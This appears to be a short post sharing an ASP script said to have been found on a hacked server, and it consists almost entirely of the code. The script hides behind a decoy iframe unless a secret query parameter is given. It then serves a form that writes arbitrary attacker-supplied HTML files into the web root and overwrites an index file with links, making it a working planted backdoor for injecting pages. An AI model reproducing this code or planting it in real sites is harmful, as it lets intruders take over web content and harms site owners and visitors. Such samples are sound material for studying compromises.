useless asp stuff found on an hacked server

useless asp  stuff found on an hacked server

<%
if request.QueryString("1")<>2 then
response.Write "<iframe src=""http://127.0.0.1"" width=100% height=100% frameborder=0></iframe>"
response.End()
end if
%>
<%
if request.Form("c")<>"" then
randomize
shuliang=Int((10000000 - 1 + 10000000) * Rnd + 1)
title=Replace(request.Form("title")," ","-")
path1=replace(server.mappath("1.asp"),"1.asp","")
path=path1&title&"-"&shuliang&".html"
dbfile=path1&"1.htm"
response.Write path&"<br>"
response.Write dbfile&"<br>"
str1=Replace(request.Form("c"),"<br><","<")&"</body></html>"
str2="<a href="&title&"-"&shuliang&".html"">"&request.Form("title")&"</a>"
response.Write str1&"<br>"
response.Write str2&"<br>"
set myfso = Server.CreateObject("Scripting.FileSystemObject")
set myfile1 = myfso.CreateTextFile(path,true)
set myfile2 = myfso.CreateTextFile(dbfile,true)
        myfile1.WriteLine(str1)
        myfile1.close
            myfile2.WriteLine(str2)
        myfile2.close
        set myfso = nothing

response.Write "<font color=red>Good Luck!</font>"
end if
%>
<title>MS</title>
SD
<form action="" method="post">
  <input type="text" size=48 name="title" value='' />
  <input type="submit" id="b" value="J8"><br>
<textarea name="c" cols=60 rows=9></textarea>
</form>
<p></p>